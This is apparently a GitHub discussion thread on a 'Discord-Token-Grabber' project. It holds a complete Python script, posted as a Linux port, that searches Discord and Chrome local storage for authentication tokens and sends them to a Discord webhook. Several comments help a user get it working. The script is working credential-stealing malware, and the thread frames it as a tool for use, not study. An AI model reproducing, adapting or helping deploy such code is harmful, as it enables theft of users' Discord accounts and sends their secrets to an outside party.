Discord-Token-Grabber
Discord-Token-Grabber copied to clipboard
Restructure the original code and add Linux support
can you make it work on macOS too please?
Yes, but unfortunately I don't have locations for Discord configurations on Mac OS
Thanks for your hard work : D
On Mac laptops and computers, you can find your Discord installation files in the following folders:
Caches, logs, and other data:
~/Library/Application Support/Discord
Installation files:
/Library/Application Support/Discord
Alternatively, installation files (binaries) can be found in /Applications/Discord.app/
I did it , a Linux version of the Token Grabber:
import os
import re
import json
import requests
# your webhook URL
WEBHOOK_URL = 'YOUR WEBHOOK URL'
# mentions you when you get a hit
PING_ME = False
def find_tokens(path):
path += '/Local Storage/leveldb'
tokens = []
for file_name in os.listdir(path):
if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
continue
for line in [x.strip() for x in open(f'{path}/{file_name}', errors='ignore').readlines() if x.strip()]:
for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
for token in re.findall(regex, line):
tokens.append(token)
return tokens
def main():
config = "/home/YOUR_NAME/.config"
paths = {
'Discord': config + '/discord',
'Discord Canary': config + '/discordcanary',
'Discord PTB': config + '/discordptb',
'Google Chrome': config + '/google-chrome/Default'
}
message = '@everyone' if PING_ME else ''
for platform, path in paths.items():
if not os.path.exists(path):
continue
message += f'\n**{platform}**\n```\n'
tokens = find_tokens(path)
print(tokens)
if len(tokens) > 0:
for token in tokens:
message += f'{token}\n'
else:
message += 'No tokens found.\n'
message += '```'
headers = {
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'
}
payload = json.dumps({'content': message})
try:
requests.post(WEBHOOK_URL, data=payload.encode(), headers=headers)
except:
pass
if __name__ == '__main__':
main()
EDIT : I didn't put the auto-home
This is not working. It only pings me.
It is working now, but it throws an error:
Traceback (most recent call last):
File "tg.py", line 70, in <module>
main()
File "tg.py", line 46, in main
tokens = find_tokens(path)
File "tg.py", line 18, in find_tokens
for file_name in os.listdir(path):
FileNotFoundError: [Errno 2] No such file or directory: '/home/EZRAIDv2/.config/discord/Local Storage/leveldb'
My OS is Linux Mint. My Discord installed using flatpak.
It is working now, but it throws an error:
Traceback (most recent call last): File "tg.py", line 70, in <module> main() File "tg.py", line 46, in main tokens = find_tokens(path) File "tg.py", line 18, in find_tokens for file_name in os.listdir(path): FileNotFoundError: [Errno 2] No such file or directory: '/home/EZRAIDv2/.config/discord/Local Storage/leveldb'
My OS is Linux Mint. My Discord installed using flatpak.
You put the wrong name , in Linux Mint , you can't use Caps to access your home directory , to know your home directory , open a terminal , write cd ~ then pwd and change the /home/YOUR_NAME by the result of the pwd command and try again
It is working now, but it throws an error:
Traceback (most recent call last): File "tg.py", line 70, in <module> main() File "tg.py", line 46, in main tokens = find_tokens(path) File "tg.py", line 18, in find_tokens for file_name in os.listdir(path): FileNotFoundError: [Errno 2] No such file or directory: '/home/EZRAIDv2/.config/discord/Local Storage/leveldb'
My OS is Linux Mint. My Discord installed using flatpak.
You put the wrong name , in Linux Mint , you can't use Caps to access your home directory , to know your home directory , open a terminal , write cd ~ then pwd and change the /home/YOUR_NAME by the result of the pwd command and try again
It works :)